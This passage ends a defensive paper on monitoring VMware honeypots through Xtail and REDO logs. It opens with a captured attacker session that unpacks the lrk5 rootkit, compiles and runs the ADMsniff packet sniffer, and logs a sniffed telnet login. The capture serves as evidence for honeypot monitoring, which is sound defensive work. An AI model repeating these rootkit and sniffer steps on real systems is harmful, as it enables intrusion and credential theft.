-xvf lrk5.src.tar lrk5/ lrk5/MCONFIG lrk5/README lrk5/bin/ lrk5/bindshell.c lrk5/chfn/ lrk5/chfn/chfn.c -- CUT -- lrk5/sniffer/libpcap-0.4/bpf_filter.c lrk5/sniffer/libpcap-0.4/net lrk5/sniffer/libpcap-0.4/config.status lrk5/sniffer/libpcap-0.4/Makefile lrk5/sniffer/sniffer ls lrk5 lrk5.src.tar cd lrk5 ls MCONFIG Makefile.in README bin bindshell.c chfn chsh configure cron3.0pl1 fileutils-3.13 findutils fix.c inetd login net-tools-1.32-alpha passwd procps-1.01 psmisc rootkit.h rshd sh-utils-1.16 shadow-961025 sniffchk sniffer ssh-2.0.13 sysklogd-1.3 tcpd_7.4 wted.c z2.c ls -l sniffer total 529 -rw-r--r--    1 1000     101           725 Jul 11  1999 Makefile -rw-r--r--    1 1000     101          1072 May 30  1999 README -r--r--r--    1 1000     101          8447 Jan 19  1999 bpf.h -rw-r--r--    1 1000     101           486 May  7  1999 ip.h drwxr-xr-x    6 1000     101          1024 Jul 12  1999 libpcap-0.4 -rw-r--r--    1 1000     101        487424 May  7  1999 libpcap-0.4.tar -rw-r--r--    1 1000     101          4908 Jan 19  1999 pcap.h -rwxr-xr-x    1 1000     101         19015 Jul 11  1999 sniffer -rw-r--r--    1 1000     101          1491 Jan 19  1999 tcp.h -rw-r--r--    1 1000     101          8432 May 11  1999 thesniff.c cd sniffer ls Makefile README bpf.h ip.h libpcap-0.4 libpcap-0.4.tar pcap.h sniffer tcp.h thesniff.c ls -l sniffer -rwxr-xr-x    1 1000     101         19015 Jul 11  1999 sniffer rm -f sniffer make ..ooOO ADMsniff private 1.0 beta 0 OOoo.. libpcap-0.4/CHANGES libpcap-0.4/FILES libpcap-0.4/INSTALL --CUT-- make[1]: Leaving directory `/dev/.. /lrk5/sniffer/libpcap-0.4' compiling ADMsniff... gcc -I. -L.   thesniff.c  -lpcap -lz  -o ./sniffer Done! ls Makefile README bpf.h ip.h libpcap-0.4 libpcap-0.4.tar libpcap.a pcap.h sniffer tcp.h thesniff.c ls -l total 624 -rw-r--r--    1 1000     101           725 Jul 11  1999 Makefile -rw-r--r--    1 1000     101          1072 May 30  1999 README -r--r--r--    1 1000     101          8447 Jan 19  1999 bpf.h -rw-r--r--    1 1000     101           486 May  7  1999 ip.h drwxr-xr-x    6 1000     101          2048 Jul  3 15:14 libpcap-0.4 -rw-r--r--    1 1000     101        487424 May  7  1999 libpcap-0.4.tar -rw-r--r--    1 root     ftp         85834 Jul  3 15:14 libpcap.a -rw-r--r--    1 1000     101          4908 Jan 19  1999 pcap.h -rwxr-xr-x    1 root     ftp         27845 Jul  3 15:14 sniffer -rw-r--r--    1 1000     101          1491 Jan 19  1999 tcp.h -rw-r--r--    1 1000     101          8432 May 11  1999 thesniff.c ./sniffer eth0 & ADMsniff priv 1.0  in libpcap we trust ! credits: ADM, mel , ^pretty^ for the mail she sent me ls -l total 625 -rw-r--r--    1 1000     101           725 Jul 11  1999 Makefile -rw-r--r--    1 1000     101          1072 May 30  1999 README -rw-r--r--    1 root     ftp             0 Jul  3 15:20 The_l0gz -r--r--r--    1 1000     101          8447 Jan 19  1999 bpf.h -rw-r--r--    1 1000     101           486 May  7  1999 ip.h drwxr-xr-x    6 1000     101          2048 Jul  3 15:14 libpcap-0.4 -rw-r--r--    1 1000     101        487424 May  7  1999 libpcap-0.4.tar -rw-r--r--    1 root     ftp         85834 Jul  3 15:14 libpcap.a -rw-r--r--    1 1000     101          4908 Jan 19  1999 pcap.h -rwxr-xr-x    1 root     ftp         27845 Jul  3 15:14 sniffer -rw-r--r--    1 1000     101          1491 Jan 19  1999 tcp.h -rw-r--r--    1 1000     101          8432 May 11  1999 thesniff.c telnet 203.239.110.20 Trying 203.239.110.20... Connected to 203.239.110.20. Escape character is '^]'.                                  Welcome to the FHZ. =-------------------------------------------------------------------------=   Drill Server rebuild 1.3 You are allowed to do whatever you like on this server. But remember anybody who might try to use computers as platforms to commit crimes against computers not in the wargame may be in for a long vacation at government expense.   CONFUCIUS SAYS:  CRACKER WHO GETS BUSTED DOING ONE OF THESE CRIMES,     WILL SPEND LONG TIME IN JAILHOUSE SOUP. By logging in, you agree that you will abide by the above.                         server request:doll@hackerslab.org             - HACKERSLAB - =-------------------------------------------------------------------------= if you are here for the first time  login:level0  passwd:guest login: level0 Password:  Last login: Tue Jul  9 00:43:36 from ac238.mistral.cz -------------------------------------------------------------------------------                                /T /I                               / |/ | .-~/                           T\ Y  I  |/  /  _          /T               | \I  |  I  Y.-~/         I l   /I       T\ |  |  l  |  T  /      T\ |  \ Y l  /T   | \I  l   \ `  l Y  __  | \l   \l  \I l __l  l   \   `  _. |  \ ~-l  `\   `\  \  \\ ~\  \   `. .-~   |   \   ~-. "-.  `  \  ^._ ^. "-.  /  \   | .--~-._  ~-  `  _  ~-_.-"-." ._ /._ ." ./  >--.  ~-.   ._  ~>-"    "\\   7   7   ] ^.___~"--._    ~-{  .-~ .  `\ Y . /    |  <__ ~"-.  ~       /_/   \   \I  Y   : |    ^-.__           ~(_/   \   >._:   | l______        ^--.,___.-~"  /_/   !  `-.~"--l_ /     ~"-.               (_/ .  ~(   /'     "~"--,Y   -=b-. _)                (_/ .  \  :           / l      c"~o \                 \ /    `.    .     .^  \_.-~"~--.  )                  (_/ .   `  /     /       !       )/                   / / _.   '.   .':      /        '                   ~(_/ .   /    _  `  .-<_                     /_/ . ' .-~" `.  / \  \          ,z=.                     ~( /   '  :   | K   "-.~-.______//                       "-,.    l   I/ \_    __{--->._(==.                        //(     \  <    ~"~"     //                      /' /\     \  \     ,v=.  ((                     .^. / /\     "  }__ //===-  `                    / / ' '  "-.,__ {---(==-                  .^ '       :  T  ~"   ll     -by F.H.Z-                 / .  .  . : | :!        \\                (_/  /   | | j-"          ~^                  ~-<_(_.^-~" -------------------------------------------------------------------------------            Powerd by F.H.Z team Since 1999  ------------------------------------------------------------------------------- ======================================================================== A sadist is a masochist who follows the Golden Rule. ======================================================================== [level0@drill level0]$ exit logout Connection closed by foreign host. ls -l total 625 -rw-r--r--    1 1000     101           725 Jul 11  1999 Makefile -rw-r--r--    1 1000     101          1072 May 30  1999 README -rw-r--r--    1 root     ftp           178 Jul  3 15:20 The_l0gz -r--r--r--    1 1000     101          8447 Jan 19  1999 bpf.h -rw-r--r--    1 1000     101           486 May  7  1999 ip.h drwxr-xr-x    6 1000     101          2048 Jul  3 15:14 libpcap-0.4 -rw-r--r--    1 1000     101        487424 May  7  1999 libpcap-0.4.tar -rw-r--r--    1 root     ftp         85834 Jul  3 15:14 libpcap.a -rw-r--r--    1 1000     101          4908 Jan 19  1999 pcap.h -rwxr-xr-x    1 root     ftp         27845 Jul  3 15:14 sniffer -rw-r--r--    1 1000     101          1491 Jan 19  1999 tcp.h -rw-r--r--    1 1000     101          8432 May 11  1999 thesniff.c cat The_l0gz --=[ 203.239.110.20:23 --> 10.XXX.XXX.53:1031 ]=-- ......_5.7#}.................._:.7#......._;.7#............_..7#...... ..#..' ......_..7#......._..7#.........!.."........._..7#......._..7#... .....'..... .........._..7$......._..7$.........._..7$<......`..7$<...             Welcome to the FHZ...=-------------------------------------------- -----------------------------=......Drill Server rebuild 1.3....You are allow ed to do whatever you like on this server...But remember anybody who might tr y to use computers as platforms to commit..crimes against computers not in th e wargame may be in for..a long vacation at government expense.......CONFUCIU S SAYS:   CRACKER WHO GETS BUSTED DOING ONE OF THESE CRIMES,....  WILL SPEND  LONG TIME IN JAILHOUSE SOUP.....By logging in, you agree that you will abide  by the above.......                      server request:doll@hackerslab.org   .........    - HACKERSLAB -..=---------------------------------------------- --------------------------=..if y!ou are here for the first time.. login:level 0.. passwd:guest........` .7$]......a..7$]login: ......b..7&.......b..7&.l.... ..b..7&.e......b..7'.......b..7'.v......c..7'.......dE.7'.e......dH.7(we...... d..7(.......d..7(.. .......e#.7)F......e5.7)Fl......e..7*.......f..7*.0......f Q.7*v......g..7*v........g<.7+aPassword: ......g..7,.......h..7,$......h#.7,=. .....h<.7,W......hg.7,q......ht.7,.......h..7,.........h..7,.  / / ' '  ..... .h..7,.Last login: Tue Jul  9 00:43:36 from ac238.mistral.cz..---------------- ---------------------------------------------------------------../T /I..                         / |/ | .-~/..                          T\ Y  I  |/  /  _..         /T               | \I  |  I  Y.-~/..        I l   /I       T\ |  |  l  |  T  /..     T\ |  \ Y l  /T   | \I  l   \ `  l Y.. __  | \l   \l  \I l _ _l  l   \   `  _. |.. \ ~-l  `\   `\  \  \\ ~\  \   `. .-~   |..  \   ~-. "-.  `  \  ^._ ^. "-.  /  \   |...--~-._  ~-  `  _  ~-_.-"-.!" ._ /._ ." ./.. >--.  ~-.   ._  ~>-"    "\\   7   7   ]..^.___~"--._    ~-{  .-~ .  `\ Y . /    |..  <__ ~"-.  ~       /_/   \   \I  Y   : |..   ^-.__           ~(_/   \   >._:  | l______..       ^--.,___.-~"  /_/   !  `-.~"--l_ /     ~"-...              ( _/ .  ~(   /'     "~"--,Y   -=b-. _)..               (_/ .  \  :           / l      c"~o \..                \ /    `.    .     .^   \_.-~"~--.  )..        (_/ .   `  /     /       !       )/..                  / / _.   '.   .':      /        '..                  ~(_/ .   /    _  `  .-<_..   /_/ . ' .-~" `.  / \  \          ,z=...                    ~( /   '  :   | K   "-.~-.______//..                      "-,.    l   I/ \_    __{--->._(==...                    //(     \  <    ~"~"     //..                      /' /\  \  \     ,v=.  ((..                    .^. / /\     "  }__ //===-  `..        ......h..7,."-.,__ {---(==-..                 .^ '       :  T  ~"   ll   -by F.H.Z-..      !          / .  .  . : | :!        \\..               (_/  /   | | j-"          ~^..                 ~-<_(_.^-~"..------------------------ -------------------------------------------------------.......      Powerd by F .H.Z team Since 1999 ..-------------------------------------------------------- -----------------------....==================================================== ====================..A sadist is a masochist who follows the Golden Rule...=== =====================================================================..[level0@ drill level0]$ ......l..70.e......m..70.......m..71.x......m4.71(......m4.71(i. .....mO.71Et......mi.71S........ml.71llogout...[H.[J. exit

As you can see from the hyper-links in the terminal session above, the Xtail monitoring captured a great deal of live information from the WU-FTPD buffer-overflow shell session:

• The downloading of the lrk5.src.tar.gz FTP session
• The gunzipping of the rootkit archive
• The untarring of the rootkit archive
• The compiling of the new rootkit sniffer, and
• The live sniffer log (The_l0gz) content for a telnet session

The goal of this paper was to highlight a new method for monitoring virtual (VMware) honeypot systems.  The need for this type of monitoring increases daily as both:

• The sophisciation of the attacker's tools increases.  This includes rootkit tools and techniques to identify LKMs and hidden processes which are being used by WhiteHats to monitor their honeypots.  Even if the WhiteHat efficiently hides processes that are running on the honeypot, the odds are that a skilled attacker could identify this monitoring.  This is especially true if the attack installs a sniffer and detects data leavining the honeypot system.  While it is true that encrypting this honeypot data leaving the host will protect the data, it will still tip off that attacker that there is a rogue process sending out data.  This will most certainly prompt the attacker to act in a different manner than if they were unaware of the monitoring.  One of the main advantages to the Xtail VMware monitoring is that the attacker data can both be identified and captured on the Host OS without modifying the Guest OS honeypot.  This means that there are no scripts, files or processes to tip off the attacker.

• The increase of interest in virtual honeypots.  The Honeynet Project has championed the case for deployment of virtual honeynets, and for good reason.  There are many benefits to deploying virtual honeypots/nets -

 
"Virtual Honeynets combine all the elements of a Honeynet onto one physical system. Not only are all three requirements of Data Control, Data Capture, and Data Collection met, but the actual honeypots themselves run on the single system. Virtual Honeynets can support either GenI or GenII technologies. The honeypots are actual operating systems. Nothing is emulated. The advantage here is one of cost and efficiency. It is much cheaper to use a single system to run all the elements of a Honeynet, and it is much easier to deploy and maintain." - http://project.honeynet.org/papers/honeynet/

Caveats:

• This technique will NOT capture everything within the vmware honeyot host.

Due to this methods reliance on Xtail to monitor the REDO log files for changes, we are limited to Xtail's functionality.  Remember the two parameters that will trigger Xtail to dump new data:
 
• The size of the file

Since xtail will be storing the status of the file (which includes the file size) and checking for changes, it will be more likely to identify large changes made to the file.  If you simply add a new file on the honeypot system that has one line in it, then Xtail might not identify it since the resulting size change to the REDO log file would be miniscual.  If a large change is made to the system - such as a rootkit installation, it will most likely correctly identify this change.  To be honest with you, this concept needs extensive testing.  I have only conducted initial testing and have received inconsistent results.  One time when I was running tests, Xtail did correctly identify and dump the data to the terminal when I simply ran this command from the honeypot command prompt-
"# echo 'can you see this message' > /tmp/xtail_test".
 
• The mtime of the file

The mtime of the file does change constantly due to normal system activity, to the effectiveness of this parameter for identifying attacker activity is significantly reduced.
• This technique will NOT capture deletions made to the system.

The Xtail program will only report back new data added to the system and will not report and deleted data.  This does diminish the functionality a bit when monitoring for honeypot activity, however, the data captured is still tremendously useful.  I equate this feature of Xtail to be similar to that of having a Remote Syslog Server.  Remote syslogging provides a one-way storage of audit data.  While it is common for attackers to edit and/or delete local syslog file data, they can not delete the remote syslog data without compromising the remote server.  The best that the attacker can do is to create new bogus information to flood the remote syslog hosts entries in hopes of hiding their data.  The Xtail utility works in the same fashion.  If an attacker downloads and installs a rootkit and then deletes the rootkit files, Xtail will not report that the rootkit has been deleted.  The upside is that we have already captured the rootkit data when the file was installed on the system.  The only exception to this deletion feauture is if the entire REDO log file is deleted, at which point, Xtail will dutifully report this fact.  If a new REDO log is created, Xtail will report this fact and dump the entire contents of the file.

Hopefully, the techniques outlined in this paper will assist WhiteHats with deploying virtual honeypot monitoring tools that will be effective, as well as, completly hidden from attackers.

Good Luck!
 

References

1. Graham, Robert.  "FAQ: Network Intrusion Detection Systems",  Version 0.8.3 March 21, 2000 - http://www.robertgraham.com/pubs/network-intrusion-detection.html#11.
2. Spitzner, Lance.  "Honeypots: Definitions and Value of Honeypots",  May 17, 2002 - http://www.enteract.com/~lspitz/honeypots.html
3. Honeynet Project, "Honeynet Definitions, Requirements, and Standards ver 1.4.6 Updated: 09 June, 2002 - http://project.honeynet.org/alliance/requirements.html
4. Seifried, Kurt, "Honeypotting with VMware - basics" - http://www.seifried.org/security/ids/20020107-honeypot-vmware-basics.html
5. Clark, Mike.  "Virtual Honeynets" November 7, 2001 - http://online.securityfocus.com/infocus/1506/